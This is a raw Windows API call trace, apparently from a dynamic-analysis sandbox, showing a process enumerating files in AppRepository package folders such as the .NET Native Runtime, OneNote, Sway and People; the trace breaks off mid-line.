[0220.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.263] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7b [0220.263] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x921814bc, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x921814bc, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x5bc2fd4, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4870 [0220.266] FindNextFileW (in: hFindFile=0x1d1f4870, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x921814bc, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x921814bc, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x5bc2fd4, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.267] FindNextFileW (in: hFindFile=0x1d1f4870, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b20ce, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56b20ce, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56b20ce, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.267] FindNextFileW (in: hFindFile=0x1d1f4870, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bc2fd4, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5bc2fd4, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5bc2fd4, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0220.267] FindNextFileW (in: hFindFile=0x1d1f4870, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b20ce, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56b20ce, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56b20ce, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0220.267] FindNextFileW (in: hFindFile=0x1d1f4870, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.267] FindClose (in: hFindFile=0x1d1f4870 | out: hFindFile=0x1d1f4870) returned 1 [0220.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.268] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7b [0220.268] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.1_1.1.23118.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x921814bc, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5bc2fd4, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5bc2fd4, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f50b0 [0220.269] FindNextFileW (in: hFindFile=0x1d1f50b0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x921814bc, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5bc2fd4, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5bc2fd4, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.270] FindNextFileW (in: hFindFile=0x1d1f50b0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b20ce, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56b20ce, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56b20ce, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.270] FindNextFileW (in: hFindFile=0x1d1f50b0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bc2fd4, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5bc2fd4, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5bc2fd4, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0220.270] FindNextFileW (in: hFindFile=0x1d1f50b0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b20ce, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56b20ce, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56b20ce, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0220.270] FindNextFileW (in: hFindFile=0x1d1f50b0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b20ce, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x56b20ce, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x56b20ce, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0220.270] FindClose (in: hFindFile=0x1d1f50b0 | out: hFindFile=0x1d1f50b0) returned 1 [0220.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.271] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7b [0220.272] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91eac945, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x91eac945, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x5a6bafb, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4090 [0220.274] FindNextFileW (in: hFindFile=0x1d1f4090, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91eac945, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x91eac945, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x5a6bafb, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.274] FindNextFileW (in: hFindFile=0x1d1f4090, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x568bd51, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x568bd51, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x568bd51, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.274] FindNextFileW (in: hFindFile=0x1d1f4090, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a6bafb, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a6bafb, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a6bafb, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0220.274] FindNextFileW (in: hFindFile=0x1d1f4090, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5665b45, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5665b45, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5665b45, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0220.274] FindNextFileW (in: hFindFile=0x1d1f4090, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.274] FindClose (in: hFindFile=0x1d1f4090 | out: hFindFile=0x1d1f4090) returned 1 [0220.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.276] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7b [0220.276] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.1_1.1.23118.0_x86__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91eac945, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5a6bafb, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a6bafb, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4ed0 [0220.277] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91eac945, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5a6bafb, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a6bafb, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.277] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x568bd51, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x568bd51, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x568bd51, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.277] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a6bafb, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a6bafb, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a6bafb, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0220.278] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5665b45, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5665b45, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5665b45, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0220.285] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0220.287] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7e [0220.287] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0220.288] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7f [0220.288] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.office.onenote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa162ebc2, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd0b4bc15, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd0b4bc15, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f3fd0 [0220.425] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0220.426] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0220.427] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_2015.6131.10051.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7f [0220.434] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe") returned 0x7b [0220.436] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe") returned 0x7b [0220.437] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7c [0220.440] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe") returned 0x7b [0220.441] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe") returned 0x7b [0220.442] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_2015.6216.20251.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7c [0220.449] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0220.450] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0220.451] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe\\") returned 0x75 [0220.454] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0220.455] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe") returned 0x74 [0220.456] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe\\") returned 0x75 [0220.459] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All 